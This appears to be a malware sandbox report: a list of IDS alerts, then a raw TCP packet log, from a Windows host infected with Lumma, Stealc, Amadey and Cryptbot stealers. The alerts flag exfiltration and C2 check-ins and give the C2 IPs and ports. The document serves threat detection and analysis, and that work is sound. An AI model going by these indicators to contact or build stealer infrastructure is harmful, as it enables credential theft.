2024-11-19T22:07:22.369604+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49998	172.67.155.248	443	TCP
2024-11-19T22:07:23.014433+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.4	49998	172.67.155.248	443	TCP
2024-11-19T22:07:23.711845+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50009	172.67.155.248	443	TCP
2024-11-19T22:07:27.039366+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50015	172.67.155.248	443	TCP
2024-11-19T22:07:28.388748+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	50017	185.215.113.206	80	TCP
2024-11-19T22:07:28.495939+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	50016	185.215.113.43	80	TCP
2024-11-19T22:07:28.603578+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.4	50017	185.215.113.206	80	TCP
2024-11-19T22:07:28.623256+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50018	172.67.155.248	443	TCP
2024-11-19T22:07:28.818184+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.2.4	50017	TCP
2024-11-19T22:07:28.820767+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.4	50017	185.215.113.206	80	TCP
2024-11-19T22:07:28.915669+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50019	185.215.113.16	80	TCP
2024-11-19T22:07:29.032525+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.2.4	50017	TCP
2024-11-19T22:07:31.583523+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.4	50017	185.215.113.206	80	TCP
2024-11-19T22:07:32.155205+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	50017	185.215.113.206	80	TCP
2024-11-19T22:07:33.051296+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50020	172.67.155.248	443	TCP
2024-11-19T22:07:33.907196+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	50020	172.67.155.248	443	TCP
2024-11-19T22:07:33.907196+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	50020	172.67.155.248	443	TCP
2024-11-19T22:07:34.171156+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50021	172.67.155.248	443	TCP
2024-11-19T22:07:34.460963+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50022	172.67.155.248	443	TCP
2024-11-19T22:07:34.705269+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	50021	172.67.155.248	443	TCP
2024-11-19T22:07:34.705269+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	50021	172.67.155.248	443	TCP
2024-11-19T22:07:34.959463+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	50022	172.67.155.248	443	TCP
2024-11-19T22:07:35.080671+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50024	172.67.155.248	443	TCP
2024-11-19T22:07:35.084154+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	50023	185.215.113.43	80	TCP
2024-11-19T22:07:35.381595+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.4	50025	185.215.113.16	80	TCP
2024-11-19T22:07:35.520857+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50026	185.215.113.16	80	TCP
2024-11-19T22:07:36.156677+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50027	172.67.155.248	443	TCP
2024-11-19T22:07:38.674695+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50032	172.67.155.248	443	TCP
2024-11-19T22:07:40.383249+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	50035	185.215.113.43	80	TCP
2024-11-19T22:07:43.549002+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50047	172.67.155.248	443	TCP
2024-11-19T22:07:45.726954+0100	2054350	ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4	1	192.168.2.4	50053	34.116.198.130	80	TCP
2024-11-19T22:07:49.218810+0100	2054350	ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4	1	192.168.2.4	50063	34.116.198.130	80	TCP
2024-11-19T22:07:50.020941+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50058	172.67.155.248	443	TCP
2024-11-19T22:07:51.497412+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.4	50058	172.67.155.248	443	TCP
2024-11-19T22:07:52.085682+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50083	172.67.155.248	443	TCP
2024-11-19T22:07:52.458192+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	50083	172.67.155.248	443	TCP
2024-11-19T22:07:52.898564+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.4	50094	185.215.113.16	80	TCP
2024-11-19T22:07:55.542772+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	50056	185.215.113.206	80	TCP
2024-11-19T22:07:57.466274+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	50056	185.215.113.206	80	TCP
2024-11-19T22:07:58.199802+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	50056	185.215.113.206	80	TCP
2024-11-19T22:08:00.273021+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	50056	185.215.113.206	80	TCP
2024-11-19T22:08:02.937697+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	50056	185.215.113.206	80	TCP
2024-11-19T22:08:03.698416+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	50056	185.215.113.206	80	TCP
2024-11-19T22:08:07.972098+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	50166	185.215.113.16	80	TCP
2024-11-19T22:08:09.703882+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50167	172.67.155.248	443	TCP
2024-11-19T22:08:10.317128+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	50167	172.67.155.248	443	TCP
2024-11-19T22:08:10.317128+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	50167	172.67.155.248	443	TCP
2024-11-19T22:08:10.929505+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50185	172.67.155.248	443	TCP
2024-11-19T22:08:11.501437+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	50185	172.67.155.248	443	TCP
2024-11-19T22:08:11.501437+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	50185	172.67.155.248	443	TCP
2024-11-19T22:08:12.935072+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	50189	185.215.113.206	80	TCP
2024-11-19T22:09:20.656263+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50272	20.42.65.92	443	TCP
2024-11-19T22:09:42.084808+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.4	50286	TCP
2024-11-19T22:09:47.456155+0100	2044623	ET MALWARE Amadey Bot Activity (POST)	1	192.168.2.4	50289	185.215.113.43	80	TCP
2024-11-19T22:09:49.317349+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	50291	185.215.113.206	80	TCP
2024-11-19T22:09:50.492729+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	50292	185.215.113.43	80	TCP
2024-11-19T22:09:53.559133+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	50294	185.215.113.43	80	TCP
2024-11-19T22:09:56.627220+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	50296	185.215.113.43	80	TCP
2024-11-19T22:10:02.787142+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	50299	185.215.113.206	80	TCP
2024-11-19T22:10:28.162411+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	50370	185.215.113.206	80	TCP
2024-11-19T22:10:49.398737+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50388	20.42.72.131	443	TCP
2024-11-19T22:12:11.912876+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.4	50465	185.215.113.43	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 19, 2024 22:06:01.615793943 CET	49675	443	192.168.2.4	173.222.162.32
Nov 19, 2024 22:06:15.486080885 CET	49730	443	192.168.2.4	4.175.87.197
Nov 19, 2024 22:06:15.486171007 CET	443	49730	4.175.87.197	192.168.2.4
Nov 19, 2024 22:06:15.486458063 CET	49730	443	192.168.2.4	4.175.87.197
Nov 19, 2024 22:06:15.488223076 CET	49730	443	192.168.2.4	4.175.87.197
Nov 19, 2024 22:06:15.488265038 CET	443	49730	4.175.87.197	192.168.2.4
Nov 19, 2024 22:06:16.012887955 CET	443	49730	4.175.87.197	192.168.2.4
Nov 19, 2024 22:06:16.013185978 CET	49730	443	192.168.2.4	4.175.87.197
Nov 19, 2024 22:06:16.015408039 CET	49730	443	192.168.2.4	4.175.87.197
Nov 19, 2024 22:06:16.015463114 CET	443	49730	4.175.87.197	192.168.2.4
Nov 19, 2024 22:06:16.015901089 CET	443	49730	4.175.87.197	192.168.2.4
Nov 19, 2024 22:06:16.068814039 CET	49730	443	192.168.2.4	4.175.87.197
Nov 19, 2024 22:06:16.430300951 CET	49730	443	192.168.2.4	4.175.87.197
Nov 19, 2024 22:06:16.471407890 CET	443	49730	4.175.87.197	192.168.2.4
Nov 19, 2024 22:06:16.763454914 CET	443	49730	4.175.87.197	192.168.2.4
Nov 19, 2024 22:06:16.763482094 CET	443	49730	4.175.87.197	192.168.2.4
Nov 19, 2024 22:06:16.763492107 CET	443	49730	4.175.87.197	192.168.2.4
Nov 19, 2024 22:06:16.763508081 CET	443	49730	4.175.87.197	192.168.2.4
Nov 19, 2024 22:06:16.763515949 CET	443	49730	4.175.87.197	192.168.2.4
Nov 19, 2024 22:06:16.763523102 CET	443	49730	4.175.87.197	192.168.2.4
Nov 19, 2024 22:06:16.763685942 CET	49730	443	192.168.2.4	4.175.87.197
Nov 19, 2024 22:06:16.763686895 CET	49730	443	192.168.2.4	4.175.87.197
Nov 19, 2024 22:06:16.763753891 CET	443	49730	4.175.87.197	192.168.2.4
Nov 19, 2024 22:06:16.763814926 CET	49730	443	192.168.2.4	4.175.87.197
Nov 19, 2024 22:06:16.764570951 CET	443	49730	4.175.87.197	192.168.2.4
Nov 19, 2024 22:06:16.764662981 CET	49730	443	192.168.2.4	4.175.87.197
Nov 19, 2024 22:06:16.764676094 CET	443	49730	4.175.87.197	192.168.2.4
Nov 19, 2024 22:06:16.764724970 CET	49730	443	192.168.2.4	4.175.87.197
Nov 19, 2024 22:06:16.985569954 CET	49730	443	192.168.2.4	4.175.87.197
Nov 19, 2024 22:06:16.985569954 CET	49730	443	192.168.2.4	4.175.87.197
Nov 19, 2024 22:06:16.985636950 CET	443	49730	4.175.87.197	192.168.2.4
Nov 19, 2024 22:06:16.985675097 CET	443	49730	4.175.87.197	192.168.2.4
Nov 19, 2024 22:06:53.373667955 CET	49736	443	192.168.2.4	4.175.87.197
Nov 19, 2024 22:06:53.373764992 CET	443	49736	4.175.87.197	192.168.2.4
Nov 19, 2024 22:06:53.373879910 CET	49736	443	192.168.2.4	4.175.87.197
Nov 19, 2024 22:06:53.374331951 CET	49736	443	192.168.2.4	4.175.87.197
Nov 19, 2024 22:06:53.374413013 CET	443	49736	4.175.87.197	192.168.2.4
Nov 19, 2024 22:06:53.890022039 CET	443	49736	4.175.87.197	192.168.2.4
Nov 19, 2024 22:06:53.890228987 CET	49736	443	192.168.2.4	4.175.87.197
Nov 19, 2024 22:06:53.918313026 CET	49736	443	192.168.2.4	4.175.87.197
Nov 19, 2024 22:06:53.918395042 CET	443	49736	4.175.87.197	192.168.2.4
Nov 19, 2024 22:06:53.919271946 CET	443	49736	4.175.87.197	192.168.2.4
Nov 19, 2024 22:06:53.957932949 CET	49736	443	192.168.2.4	4.175.87.197
Nov 19, 2024 22:06:53.999329090 CET	443	49736	4.175.87.197	192.168.2.4
Nov 19, 2024 22:06:54.383426905 CET	443	49736	4.175.87.197	192.168.2.4
Nov 19, 2024 22:06:54.383485079 CET	443	49736	4.175.87.197	192.168.2.4
Nov 19, 2024 22:06:54.383506060 CET	443	49736	4.175.87.197	192.168.2.4
Nov 19, 2024 22:06:54.383543015 CET	443	49736	4.175.87.197	192.168.2.4
Nov 19, 2024 22:06:54.383562088 CET	443	49736	4.175.87.197	192.168.2.4
Nov 19, 2024 22:06:54.383703947 CET	49736	443	192.168.2.4	4.175.87.197
Nov 19, 2024 22:06:54.383703947 CET	49736	443	192.168.2.4	4.175.87.197
Nov 19, 2024 22:06:54.383703947 CET	49736	443	192.168.2.4	4.175.87.197
Nov 19, 2024 22:06:54.383771896 CET	443	49736	4.175.87.197	192.168.2.4
Nov 19, 2024 22:06:54.383837938 CET	49736	443	192.168.2.4	4.175.87.197
Nov 19, 2024 22:06:54.383996010 CET	443	49736	4.175.87.197	192.168.2.4
Nov 19, 2024 22:06:54.384107113 CET	443	49736	4.175.87.197	192.168.2.4
Nov 19, 2024 22:06:54.384179115 CET	49736	443	192.168.2.4	4.175.87.197
Nov 19, 2024 22:06:54.384179115 CET	49736	443	192.168.2.4	4.175.87.197
Nov 19, 2024 22:06:54.384247065 CET	443	49736	4.175.87.197	192.168.2.4
Nov 19, 2024 22:06:54.384288073 CET	443	49736	4.175.87.197	192.168.2.4
Nov 19, 2024 22:06:54.384352922 CET	49736	443	192.168.2.4	4.175.87.197
Nov 19, 2024 22:06:54.389414072 CET	49736	443	192.168.2.4	4.175.87.197
Nov 19, 2024 22:06:54.389483929 CET	443	49736	4.175.87.197	192.168.2.4
Nov 19, 2024 22:06:54.389538050 CET	49736	443	192.168.2.4	4.175.87.197
Nov 19, 2024 22:06:54.389554977 CET	443	49736	4.175.87.197	192.168.2.4
Nov 19, 2024 22:06:54.605007887 CET	49737	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:54.605046034 CET	443	49737	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:54.605099916 CET	49737	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:54.605365038 CET	49737	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:54.605384111 CET	443	49737	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:54.896416903 CET	443	49737	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:54.896611929 CET	49737	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:54.898145914 CET	49737	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:54.898154020 CET	443	49737	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:54.898473024 CET	443	49737	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:54.907767057 CET	49737	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:54.951415062 CET	443	49737	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:55.157360077 CET	443	49737	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:55.157418013 CET	443	49737	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:55.157459021 CET	443	49737	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:55.157569885 CET	49737	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:55.157586098 CET	443	49737	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:55.157686949 CET	49737	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:55.185411930 CET	443	49737	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:55.185457945 CET	443	49737	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:55.185520887 CET	49737	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:55.185548067 CET	443	49737	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:55.185710907 CET	49737	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:55.185803890 CET	49737	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:55.252989054 CET	443	49737	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:55.253051043 CET	443	49737	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:55.253197908 CET	49737	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:55.253216028 CET	443	49737	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:55.253299952 CET	49737	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:55.272747040 CET	443	49737	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:55.272785902 CET	443	49737	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:55.272862911 CET	49737	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:55.272864103 CET	49737	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:55.272872925 CET	443	49737	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:55.274889946 CET	49737	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:55.288094044 CET	443	49737	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:55.288134098 CET	443	49737	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:55.288197994 CET	49737	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:55.288197994 CET	49737	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:55.288207054 CET	443	49737	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:55.288286924 CET	49737	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:55.338908911 CET	443	49737	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:55.338954926 CET	443	49737	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:55.339025974 CET	49737	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:55.339025974 CET	49737	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:55.339034081 CET	443	49737	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:55.339936972 CET	49737	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:55.355448008 CET	443	49737	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:55.355524063 CET	443	49737	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:55.355556965 CET	49737	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:55.355562925 CET	443	49737	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:55.355581999 CET	49737	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:55.355616093 CET	49737	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:55.379841089 CET	443	49737	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:55.379884958 CET	443	49737	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:55.379956007 CET	49737	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:55.379956007 CET	49737	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:55.379965067 CET	443	49737	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:55.380013943 CET	49737	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:55.402430058 CET	443	49737	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:55.402475119 CET	443	49737	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:55.402535915 CET	49737	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:55.402544022 CET	443	49737	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:55.402585983 CET	49737	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:55.402585983 CET	49737	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:55.438040972 CET	443	49737	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:55.438082933 CET	443	49737	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:55.438131094 CET	49737	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:55.438142061 CET	443	49737	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:55.438169956 CET	49737	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:55.438888073 CET	49737	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:55.458347082 CET	443	49737	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:55.458385944 CET	443	49737	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:55.458431005 CET	49737	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:55.458437920 CET	443	49737	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:55.458486080 CET	49737	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:55.458621025 CET	49737	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:55.480010986 CET	443	49737	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:55.480051994 CET	443	49737	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:55.480119944 CET	49737	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:55.480119944 CET	49737	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:55.480128050 CET	443	49737	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:55.480206013 CET	49737	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:55.501929045 CET	443	49737	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:55.501969099 CET	443	49737	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:55.502055883 CET	49737	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:55.502055883 CET	49737	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:55.502063036 CET	443	49737	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:55.502871990 CET	49737	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:55.505702019 CET	443	49737	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:55.505775928 CET	49737	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:55.505781889 CET	443	49737	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:55.505836010 CET	49737	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:55.505836010 CET	49737	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:55.505846024 CET	443	49737	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:55.505871058 CET	443	49737	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:55.541028023 CET	49738	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:55.541045904 CET	49739	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:55.541098118 CET	443	49739	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:55.541115046 CET	443	49738	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:55.541218996 CET	49739	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:55.541218996 CET	49738	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:55.542067051 CET	49739	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:55.542085886 CET	443	49739	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:55.542185068 CET	49738	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:55.542224884 CET	443	49738	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:55.543509960 CET	49740	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:55.543596029 CET	443	49740	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:55.543678999 CET	49740	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:55.543855906 CET	49740	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:55.543891907 CET	443	49740	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:55.544689894 CET	49741	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:55.544732094 CET	443	49741	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:55.545284986 CET	49742	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:55.545305967 CET	443	49742	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:55.545310974 CET	49741	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:55.545433998 CET	49741	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:55.545454979 CET	443	49741	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:55.545460939 CET	49742	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:55.545555115 CET	49742	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:55.545573950 CET	443	49742	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:55.820240974 CET	443	49738	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:55.823421001 CET	49738	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:55.823497057 CET	443	49738	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:55.823870897 CET	49738	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:55.823884964 CET	443	49738	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:55.831434011 CET	443	49740	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:55.831799030 CET	49740	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:55.831846952 CET	443	49739	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:55.831892014 CET	443	49740	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:55.832113981 CET	49739	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:55.832145929 CET	443	49739	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:55.832215071 CET	49740	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:55.832235098 CET	443	49740	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:55.832562923 CET	49739	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:55.832570076 CET	443	49739	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:55.832737923 CET	443	49742	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:55.832973957 CET	49742	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:55.833002090 CET	443	49742	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:55.833307028 CET	49742	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:55.833317995 CET	443	49742	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:55.833324909 CET	443	49741	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:55.833601952 CET	49741	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:55.833623886 CET	443	49741	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:55.833973885 CET	49741	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:55.833980083 CET	443	49741	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:56.001877069 CET	443	49738	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:56.001898050 CET	443	49738	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:56.001961946 CET	443	49738	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:56.001972914 CET	49738	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:56.002021074 CET	49738	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:56.002233982 CET	49738	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:56.002233982 CET	49738	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:56.002274990 CET	443	49738	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:56.002315044 CET	443	49738	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:56.005048037 CET	49743	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:56.005084038 CET	443	49743	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:56.005146980 CET	49743	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:56.005271912 CET	49743	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:56.005290031 CET	443	49743	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:56.013247967 CET	443	49740	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:56.013304949 CET	443	49740	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:56.013427973 CET	49740	443	192.168.2.4	13.107.246.40
